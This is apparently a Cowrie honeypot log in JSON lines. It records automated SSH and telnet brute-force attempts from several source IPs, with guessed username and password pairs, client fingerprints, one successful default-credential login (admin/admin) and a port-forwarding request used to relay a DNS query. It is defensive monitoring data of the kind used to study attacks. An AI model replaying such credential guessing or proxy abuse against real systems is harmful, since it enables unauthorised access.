{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46848,"dst_ip":"10.17.0.5","dst_port":23,"session":"669fb7129887","protocol":"telnet","message":"New connection: 152.42.224.71:46848 (10.17.0.5:23) [session: 669fb7129887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:53.771957Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46850,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d191541472","protocol":"telnet","message":"New connection: 152.42.224.71:46850 (10.17.0.5:23) [session: 60d191541472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:54.619755Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":46996,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45a4d03ff2c","protocol":"ssh","message":"New connection: 79.117.24.180:46996 (10.17.0.5:22) [session: b45a4d03ff2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:55.023711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:55.028553Z","src_ip":"79.117.24.180","session":"b45a4d03ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:55.147233Z","src_ip":"79.117.24.180","session":"b45a4d03ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cake","message":"login attempt [root/cake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:55.653091Z","src_ip":"79.117.24.180","session":"b45a4d03ff2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.600233554840088,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:56.382176Z","src_ip":"152.42.224.71","session":"cc02c91ce3db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:56.775216Z","src_ip":"79.117.24.180","session":"b45a4d03ff2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.333412170410156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:57.047764Z","src_ip":"152.42.224.71","session":"b01d2cdda16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":45534,"dst_ip":"10.17.0.5","dst_port":22,"session":"8262ffcefa4a","protocol":"ssh","message":"New connection: 43.134.142.250:45534 (10.17.0.5:22) [session: 8262ffcefa4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:58.518257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:58.523020Z","src_ip":"43.134.142.250","session":"8262ffcefa4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:58.763696Z","src_ip":"43.134.142.250","session":"8262ffcefa4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"archive","message":"login attempt [root/archive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:59.745296Z","src_ip":"43.134.142.250","session":"8262ffcefa4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.392454624176025,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:00.580813Z","src_ip":"152.42.224.71","session":"631657df5af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:00.985559Z","src_ip":"43.134.142.250","session":"8262ffcefa4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.212.224.44","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64e2151a356","protocol":"ssh","message":"New connection: 172.212.224.44:48190 (10.17.0.5:22) [session: d64e2151a356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.718465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.723568Z","src_ip":"172.212.224.44","session":"d64e2151a356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.766320Z","src_ip":"172.212.224.44","session":"d64e2151a356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.212.224.44","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd3ca80ac602","protocol":"ssh","message":"New connection: 172.212.224.44:48194 (10.17.0.5:22) [session: bd3ca80ac602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.853445Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.858121Z","src_ip":"172.212.224.44","session":"bd3ca80ac602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:04.865568Z","src_ip":"172.212.224.44","session":"bd3ca80ac602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48724,"dst_ip":"10.17.0.5","dst_port":23,"session":"668bfbf41643","protocol":"telnet","message":"New connection: 152.42.224.71:48724 (10.17.0.5:23) [session: 668bfbf41643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:12.297387Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.20.86","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a4053d542a","protocol":"telnet","message":"New connection: 104.248.20.86:41310 (10.17.0.5:23) [session: 83a4053d542a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:13.960187Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:14.721100Z","src_ip":"172.212.224.44","session":"d64e2151a356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.32459783554077,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:15.820638Z","src_ip":"152.42.224.71","session":"f2613854fafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9bed39d323","protocol":"telnet","message":"New connection: 152.42.224.71:59670 (10.17.0.5:23) [session: 3d9bed39d323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:18.750454Z"}
{"eventid":"cowrie.session.closed","duration":39.459983587265015,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:19.060611Z","src_ip":"152.42.224.71","session":"6273194cc615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43004,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93938c1232e","protocol":"telnet","message":"New connection: 152.42.224.71:43004 (10.17.0.5:23) [session: a93938c1232e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:28.702563Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43010,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30555e586ff","protocol":"telnet","message":"New connection: 152.42.224.71:43010 (10.17.0.5:23) [session: f30555e586ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:30.032403Z"}
{"eventid":"cowrie.session.closed","duration":55.999029874801636,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:33.000105Z","src_ip":"152.42.224.71","session":"e1f6805f5bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.440441370010376,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:38.212259Z","src_ip":"152.42.224.71","session":"669fb7129887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17968,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfbdacd2a070","protocol":"ssh","message":"New connection: 87.251.64.176:17968 (10.17.0.5:22) [session: bfbdacd2a070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:41.926063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:41.930960Z","src_ip":"87.251.64.176","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.027420Z","src_ip":"87.251.64.176","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.316379Z","src_ip":"87.251.64.176","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.414871Z","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.71802473068237,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.419487Z","src_ip":"152.42.224.71","session":"63871f5fda5f","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.512456Z","src_ip":"87.251.64.176","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57810,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d697a160090","protocol":"telnet","message":"New connection: 152.42.224.71:57810 (10.17.0.5:23) [session: 2d697a160090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.601382Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.610697Z","src_ip":"87.251.64.176","session":"bfbdacd2a070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.420302629470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:42.717508Z","src_ip":"152.42.224.71","session":"668bfbf41643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.7285544872284,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:44.214449Z","src_ip":"152.42.224.71","session":"4a5e5e47e5bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":48776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ec0ebaf634","protocol":"ssh","message":"New connection: 43.156.63.254:48776 (10.17.0.5:22) [session: f2ec0ebaf634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:52.283807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:52.288063Z","src_ip":"43.156.63.254","session":"f2ec0ebaf634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:52.524697Z","src_ip":"43.156.63.254","session":"f2ec0ebaf634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1941","message":"login attempt [root/1941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:53.506071Z","src_ip":"43.156.63.254","session":"f2ec0ebaf634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54291009902954,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:54.502885Z","src_ip":"104.248.20.86","session":"83a4053d542a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:54.745459Z","src_ip":"43.156.63.254","session":"f2ec0ebaf634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.63637733459473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:57:55.386724Z","src_ip":"152.42.224.71","session":"3d9bed39d323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56714,"dst_ip":"159.203.135.109","dst_port":22,"session":"332605a1f53e","protocol":"ssh","message":"New connection: 185.236.22.41:56714 (159.203.135.109:22) [session: 332605a1f53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:00.892819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:00.922595Z","src_ip":"185.236.22.41","session":"332605a1f53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:58:01.003565Z","src_ip":"185.236.22.41","session":"332605a1f53e","protocol":"ssh"}
